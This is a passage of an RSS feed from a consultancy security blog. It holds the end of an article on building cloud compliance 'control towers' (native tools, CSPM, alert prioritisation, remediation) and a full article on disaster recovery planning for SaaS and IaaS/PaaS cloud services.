<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18877 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer.png" alt="" width="1038" height="301" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer.png 1038w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer-437x127.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer-768x223.png 768w" sizes="auto, (max-width: 1038px) 100vw, 1038px" /></p>
<p> </p>
<h2 style="text-align: justify;">What are the technical options for building a Control Tower?</h2>
<p style="text-align: justify;">There are three main options for a customer to implement a control tower:</p>
<ul style="text-align: justify;">
<li><strong>Native (</strong>built-in)</li>
<li><strong>Custom native</strong></li>
<li><strong>Cloud Security Posture Management </strong>(CSPM)</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Native (built-in)</h3>
<p style="text-align: justify;">In the first case, the tools activated by the Cloud Service Provider are default, sometimes free of charge, using predefined alerts to assess the compliance of your environments and deliver using a security score.</p>
<p style="text-align: justify;">For example, Trusted Advisor on AWS or Microsoft Defender for Cloud on Azure.           </p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18849 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4.png" alt="" width="4116" height="1230" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4.png 4116w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-1536x459.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-2048x612.png 2048w" sizes="auto, (max-width: 4116px) 100vw, 4116px" /></p>
<p style="text-align: justify;">These native and non-customized solutions make it possible to initiate a control tower, but they are limited as they are a generic response to specific problems.</p>
<h3 style="text-align: justify;"> </h3>
<h3 style="text-align: justify;">Custom native</h3>
<p style="text-align: justify;">Cloud providers provide many services that allow customers to build a compliance tool for their infrastructure. The CSP tools available are customised to create specific compliance alerts and custom dashboards/KPIs.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18853 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN.png" alt="" width="1186" height="562" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN.png 1186w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN-403x191.png 403w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN-768x364.png 768w" sizes="auto, (max-width: 1186px) 100vw, 1186px" /></p>
<p style="text-align: justify;">In this option, it is necessary to allocate 10-to-40-man days to the project, in order to implement the monitoring infrastructure, define the first alerts and build the dashboards.</p>
<p style="text-align: justify;">The use of several tenants, organizations or Clouds will require a specific architecture to be defined as there is no turnkey solution.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">CSPM : Cloud Security Posture Management</h3>
<p style="text-align: justify;">Wavestone sees a booming market within CSPM where, <a href="https://www.marketsandmarkets.com/Market-Reports/cloud-security-posture-management-market-71228949.html">Marketsandmarkets</a> estimates that the CSPM market will more than double between 2022 and 2027 from $4.2 billion to $8.6 billion.</p>
<p style="text-align: justify;">CSPMs natively support numerous Cloud providers and provide their customers with numerous dashboards based on the major market repositories. Customers can also easily define their own standards, policies and alerts.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18857 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN.png" alt="" width="4389" height="1874" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN.png 4389w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-768x328.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-1536x656.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-2048x874.png 2048w" sizes="auto, (max-width: 4389px) 100vw, 4389px" /></p>
<p style="text-align: justify;">The deployment of this type of tool is very simple, within few days it can be accessible to the customer.</p>
<p style="text-align: justify;">The recurring costs may however be significant: typically 3 &#8211; 5% of the Cloud bill in addition to the Cloud services to be activated (similar to the native and custom services option).</p>
<p style="text-align: justify;">Detection speed will also be slightly slower as the CSPM SLA adds to the CSP log generation SLA, typically 20 minutes &#8211; 1 hour detection time.</p>
<p> </p>
<h2 style="text-align: justify;">What should my Control Tower monitor?</h2>
<p style="text-align: justify;">The major problem customers face when implementing a CSPM with proposed alert activation, is the generation of tens or even hundreds of thousands of high criticality alerts to process. Teams don&#8217;t know where to start and are often feel discouraged. Care must be taken not to overload the security teams!</p>
<p style="text-align: justify;">For the implementation of a control tower on a production Cloud IS, we recommend deploying security controls in waves of 10 &#8211; 15 at a time. To do this, you need to prioritise the most important topics. Below is an example of prioritisation:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18861 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN.png" alt="" width="3283" height="1170" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN.png 3283w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-768x274.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-1536x547.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-2048x730.png 2048w" sizes="auto, (max-width: 3283px) 100vw, 3283px" /></p>
<p style="text-align: justify;">Unfortunately, every rule has its exceptions! Mainly linked to the existing Cloud, specific architectures or technical constraints, it is therefore essential to foresee this situation and the associated governance at the design stage:</p>
<ul style="text-align: justify;">
<li>Validation: by the local CISO and/or the global CISO</li>
<li>Expiration</li>
<li>Review: decentralised (locally or during annual global audits) or centralised (through continuous global monitoring)</li>
</ul>
<p style="text-align: justify;">Using tags for cloud resources is currently, the easiest way to do this, however, be aware that some resources may not be compatible such as IAM services.</p>
<p style="text-align: justify;">No matter which model is chosen, the issues to be addressed remain mainly the same:</p>
<ul style="text-align: justify;">
<li>Ensuring the legitimate use and application of exceptions</li>
<li>Define specific indicators on exceptions for subjects at risk from Top Management</li>
<li>Set up regular exception monitoring campaigns</li>
<li>Alerting and dealing with when an exception expires</li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">How to implement an effective remediation process?</h2>
<p style="text-align: justify;">The implementation of a control tower will generate numerous alerts, which will have to be corrected. The three options possible are listed below: </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18865 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN.png" alt="" width="4013" height="1201" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN.png 4013w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-1536x460.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-2048x613.png 2048w" sizes="auto, (max-width: 4013px) 100vw, 4013px" /></p>
<h3 style="text-align: justify;">Deny</h3>
<p style="text-align: justify;">Why remediate when you can simply block non-compliant resources preventively?</p>
<p style="text-align: justify;">With <a href="https://github.com/Azure/Community-Policy">Azure Policy</a> or <a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html">AWS SCP</a>, it is natively possible to block certain configurations and thus avoid generating new alerts.</p>
<p style="text-align: justify;">For use cases that are not covered, it is possible to set up checks on deployment templates in the CI/CD chains (this nevertheless requires a high level of maturity).</p>
<p style="text-align: justify;">Deploying a deny mechanism on existing environments is rarely implemented as the risk of generating dissatisfaction among development teams is too high:</p>
<ul>
<li style="text-align: justify;">Existing non-compliant resources can no longer be modified</li>
<li style="text-align: justify;">It will generate an additional burden on the development teams because habits must be changed</li>
<li style="text-align: justify;">&#8230;</li>
</ul>
<h3 style="text-align: justify;"> </h3>
<h3>Automatic remediation</h3>
<p style="text-align: justify;">Here, the aim is to correct deviant configurations directly and automatically but beware of side effects!</p>
<p style="text-align: justify;">To do this, it is possible to use the cloud provider&#8217;s native services (Azure policy or AWS SSM Manager) or to develop functions for unsupported cases (AWS Lambda, Azure Function or Azure LogicApps).</p>
<p> </p>
<h3 style="text-align: justify;">Manual</h3>
<p style="text-align: justify;">Unfortunately, this is the most common solution, but also the most expensive in terms of human resources. Deviating configurations are remediated manually by the teams.</p>
<p style="text-align: justify;">To guarantee the success of a manual remediation, it is necessary to have strong support from top management to ensure the adhesion and motivation of the teams.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="alignleft wp-image-18869 size-medium" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-211x191.png" alt="" width="211" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-211x191.png 211w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-43x39.png 43w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-768x694.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-1536x1389.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-2048x1851.png 2048w" sizes="auto, (max-width: 211px) 100vw, 211px" />The implementation of a Cloud OWSAP type dashboard highlighting the priorities of the moment is a good solution, allowing each person to take responsibility for their area. Each of the subjects mentioned opposite can have one or more indicators.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">However, having the support of management is not sufficient, it is necessary to know the person responsible for the resource in order to ask  them to make the changes. In a large international group this is not easy. Our recommendation is to appoint at least one security officer per account/subscription who should have detailed knowledge of the applications and the people responsible for the resources.</p>
<p style="text-align: justify;">In parallel, it is necessary to implement an effective training and awareness programme. In order to minimise the number of alerts and avoid filling the bathtub faster than it empties, the development teams must be fully aware of the security requirements in the cloud.</p>
<p style="text-align: justify;">To begin the remediation process, our advice is to start centrally with an ample sized team in charge of implementing the control tower, but also in charge of mobilising and training local relays, enabling local teams to monitor and manage compliance on their own.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Compliance alert or security alert?</h2>
<p style="text-align: justify;">Most companies consider that monitoring the compliance of their cloud resources is not a responsibility of the SOC teams. But the boundary is not so easy to define, especially given the number of security incidents in the cloud that stem from configuration errors: public exposure of a storage resource containing critical data, unconfigured MFA on an admin account, or RDP or SSH exposed on the internet.</p>
<p style="text-align: justify;">Generating a security alert to the SOC will leverage existing processes and tools for 24/7 handling even if the SOC resources are not cloud experts.</p>
<p style="text-align: justify;">And finally, this will be a good opportunity to bring Cloud security and SOC teams together to improve security supervision by adapting it to the reality of the cloud.</p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/">Compliance in the Cloud, a new Paradigm</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>The Cloud: The end of IT backup &#8211; or a new way of doing it?</title>
		<link>https://www.riskinsight-wavestone.com/en/2017/12/cloud-end-backup-new-way/</link>
		
		<dc:creator><![CDATA[Etienne Lafore]]></dc:creator>
		<pubDate>Thu, 14 Dec 2017 16:33:30 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[BCP]]></category>
		<category><![CDATA[Cloud based backup]]></category>
		<category><![CDATA[DRaaS]]></category>
		<category><![CDATA[IaaS]]></category>
		<category><![CDATA[PaaS]]></category>
		<category><![CDATA[SaaS]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=10258/</guid>

					<description><![CDATA[<p>Businesses are increasingly using cloud services (SaaS, PaaS, and IaaS) in their IT environments. They provide more flexibility on costs and can be more attractive than using conventional IT infrastructure. In 2016, in France, 48% of companies employing more than 250...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2017/12/cloud-end-backup-new-way/">The Cloud: The end of IT backup &#8211; or a new way of doing it?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><em>Businesses are increasingly using cloud services (SaaS, PaaS, and IaaS) in their IT environments. They provide more flexibility on costs and can be more attractive than using conventional IT infrastructure. </em><a href="https://www.insee.fr/fr/statistiques/2672067"><em>In 2016, in France, 48% of companies employing more than 250 people used it—an increase of 12 percentage points, compared with 2014.</em></a><em> The greater availability of cloud infrastructure is often identified as an opportunity. However, the risk of failure of a service provider’s data center is rarely addressed, even though its services rely on data centers that are decidedly physical and not in the cloud. Such data centers face the same threats as traditional data centers: natural disasters, human error, etc. How, therefore, can backup be provided for these cloud infrastructures?</em></p>
<p>&nbsp;</p>
<h2><strong>SAAS COMPUTER BACKUP: THE SERVICE PROVIDER’S RESPONSIBILITY TO PUT IN PLACE</strong></h2>
<p>SaaS <em>(</em>Software as a Service) is software that is made available on, and consumed directly from, the internet. It is managed by one or more providers.  The customer does not have the wherewithal to carry out the backup activities is case of disaster (no access to raw data, source codes, applications that could duplicate the infrastructure, etc.), so it has to rely on the provider’s goodwill.</p>
<p>&nbsp;</p>
<h3>Levels of disaster recovery are variable for SaaS, depending on the provider’s degree of maturity</h3>
<p>Three major trends are emerging:</p>
<ul>
<li><strong>Providers who offer an inclusive disaster recovery plan.</strong> As part of their standard offering, the provider offers recovery at a remote data center, usually augmented with outsourced backup. However, they rarely offer commitments on recovery times.<br />
<em>Examples are the big SaaS players (such as: Office 365, SalesForce, and SAP), as well as some intermediate players (such as Evernote, and Xero);</em></li>
</ul>
<ul>
<li><strong>Suppliers who offer outsourced backup only.</strong> In their case, there is no clearly established disaster recovery plan, as such. The customer then has to question the ability of the provider to restore backup files in the event of a disaster at the main site.<br />
<em>Examples are intermediate suppliers (such as Zervant and Sellsy);</em></li>
</ul>
<ul>
<li><strong>Suppliers who don’t mention the issue or do not have anything in place.</strong> The subject of backup doesn’t even get raised, so it’s better to assume that nothing is being done.<br />
<em>Small players are usually in this situation.</em></li>
</ul>
<p>&nbsp;</p>
<h3>Getting contracts right is key</h3>
<p>In the vast majority of cases, SaaS providers have no provisions in their contracts on how they will manage disaster recovery, even though they might stress their ability to handle that risk. In fact, contracts usually include default Act of God clauses stipulating that the supplier is not liable for a breach of contractual obligations if this is caused by an event beyond their reasonable control. The legal risks must therefore be addressed when framing the agreement, and these types of clauses should be removed to ensure an appropriate level of cover.</p>
<p>Just as they do when framing conventional contracts, customers must ensure that clear service level agreements are in place, in particular for disaster recovery. These need to cover:</p>
<ul>
<li><strong>Recovery times</strong> (Recovery Time Objective &#8211; RTO) and<strong> data loss</strong> (Recovery Point &#8211; RPO) in the event of a disaster;</li>
</ul>
<ul>
<li>The <strong>provider’s disaster recovery plan, including crisis management procedures</strong>, as well as the obligation to carry out <strong>conclusive </strong><strong>tests</strong> every year with real-world scenarios, as part of the plan, with the customer having the option to review the test report;</li>
</ul>
<ul>
<li><strong>Financial penalties</strong> and the right to terminate the contract (in particular, with a provision to recover usable data) if commitments are breached.</li>
</ul>
<p>&nbsp;</p>
<h2>IAAS/PAAS disaster recovery: THE CUSTOMER’S RESPONSIBILITY TO PUT IN PLACE</h2>
<p>Infrastructure as a Service (IaaS) is a standardized, automated offering of computing, storage, and network resources owned and hosted by a provider, and made available to the customer on demand. A Platform as a Service (PaaS) offering is similar to an IaaS offer, but it is different in that it only applies to software development stack (database, EDI, business process management…) according to Gartner’s definition.<a name="_ftnref1"></a> Unlike SaaS, disaster recovery remains the customer’s responsibility in both cases: IaaS/PaaS providers make services available in various data centers, and the customer is responsible for their use and configuration. Two solutions are available to customers using these services: to entrust things to a provider, or manage it themselves.</p>
<p>&nbsp;</p>
<h3>The market for cloud disaster recovery is not a mature one</h3>
<p>Cloud disaster recovery providers are referred to by the acronym DRaaS: <em>Disaster Recovery as a Service</em>. Initially, DRaaS providers offered cloud-based IS disaster recovery of an “on premise” datacenter. But, today, they also offer to provide recovery for infrastructure already in the cloud, such as AWS or Azure. Levels of maturity remain very variable, depending on the provider and which cloud is used. Some DRaaS providers require that their own cloud is used for recovery, which means they cannot offer a PaaS recovery service.</p>
<p>As with SaaS, there are <strong>no</strong> <strong>default contractual provisions.</strong> Therefore, any guarantees required for data loss or recovery time will need to be negotiated. Suppliers generally promise to be able to tailor their offer to the customer’s requirements! To ensure that the recovery performs correctly, the customer must plan for <strong>disaster recovery tests </strong>to be carried out regularly (we recommend once a year).</p>
<p>&nbsp;</p>
<h3>Operating your own disaster recovery plan, using tools offered by the supplier</h3>
<p>For &#8220;on-premise” infrastructure, you will need to think about, and define, your DRP strategy right from the design phase. This strategy must include the option of performing tests to ensure a sufficient level of confidence in your plan.</p>
<p>Implementation can be simplified by the tools offered by cloud providers, and the high levels of standardization in cloud environments. The major players have set out, in white papers, the key guidelines to follow in pursuing such a project (for example, <a href="https://d0.awsstatic.com/International/fr_FR/whitepapers/aws-disaster-recovery.pdf.pdf">AWS</a> and <a href="https://docs.microsoft.com/en-us/azure/architecture/resiliency/disaster-recovery-azure-applications">Azure</a>).</p>
<p><strong>Conceptually, these DRP strategies remain close to those used in “on-premise” data centers.</strong></p>
<p>There are four main ones:</p>
<ul>
<li><strong>backup and restore</strong>: simple backups of data and images of machines on a remote site, which are restored if an incident occurs;</li>
<li><strong>pilot light</strong>: replication of databases and the provision of machines, in the form of images, ready to be used if an incident occurs;</li>
<li><strong>warm standby</strong>: full replication of the main site (data and machines); the recovery site is undersized in performance terms but ready to scale up if an incident occurs;</li>
<li><strong>multi-site (or active-active)</strong>: the two sites are identical and share the load from users. If an incident occurs, the remaining site can scale up to cover all users.</li>
</ul>
<p>Hybrid solutions that are better designed to take account of recovery time requirements, and cost and complexity considerations, can also be considered.</p>
<p><strong>The real contribution that the cloud can make to DRP is the numerous tools that it can offer to simplify its implementation and activation.</strong></p>
<p>As a result, data replication can be simplified for asynchronous geo-replication options (where multiple copies are replicated to other regions). The RPO varies, depending on the types of data and tools involved. Aside from this option, local data redundancy is almost always included.</p>
<p>The high degree of standardization also makes it possible to automate the recovery: the scripts or APIs made available by providers make it possible to automate deployment of infrastructures, resize instances (according to previously defined configuration), distribute loads and traffic, carry out IP addressing, etc., in order to considerably speed up a backup site’s activation time.</p>
<p>The monitoring and alert tools, which are also on offer, are intended to facilitate in-service support and can be used to detect an incident in the shortest possible time, or in some cases, partially automate the activation of a backup site.</p>
<p>Lastly, this ability to provision new resources within a few minutes enables the associated OPEX to be minimized. <strong>By using such a strategy, it’s possible to make gains of 40 to 70% on the cost of DRP infrastructure.</strong></p>
<p>&nbsp;</p>
<h3>Toward greater support by providers?</h3>
<p>During 2017, Azure is planning to offer an <a href="https://docs.microsoft.com/fr-fr/azure/site-recovery/site-recovery-azure-to-azure">option</a> to provide recovery for virtual machines hosted on its platform by enhancing its &#8220;Site Recovery&#8221; service. In fact, &#8220;Site Recovery&#8221;, in its current form, offers to support traditional site backup, by using the Azure cloud to host the secondary site, but Microsoft wants to extend this service to provide a Recovery as a Service option. This tool would allow the automatic deployment of the secondary site (of the active-passive type), automatic data replication, and easier testing.</p>
<p>This option was available as a &#8220;public preview&#8221; at the end of May 2017. There is no equivalent project in train from the other main IaaS/PaaS providers.</p>
<p>&nbsp;</p>
<h2>THE CLOUD AND PROVIDER SYSTEMIC RISK</h2>
<p>Backup of cloud-based services is dealt with differently, depending on the type of service used. SaaS recovery must be managed through contracts and are the responsibility of the provider, while IaaS/PaaS recovery, simplified by the tools available, remains the responsibility of the customer.</p>
<p>There is a risk of the widespread failure of a provider’s hosting region as recent incidents have shown. Even though these incidents have been short-lived, or have had minor impacts, the possibility of widespread failure cannot be ignored. The issue of cyber-resilience, then, must still be dealt with. Using a second cloud provider can cover the risk of destruction, or a major outage of a first provider’s infrastructure. This solution is very complex because portability between providers is a difficult issue. For now, there are few companies that have risked it, although  <a href="http://www.usine-digitale.fr/article/snap-se-repose-sur-le-cloud-d-amazon-pour-la-redondance-de-son-systeme-d-information.N499899">Snapchat</a> is an example: it uses Google’s cloud for its production, and plans to use Amazon’s for its DRP within five years.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2017/12/cloud-end-backup-new-way/">The Cloud: The end of IT backup &#8211; or a new way of doing it?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
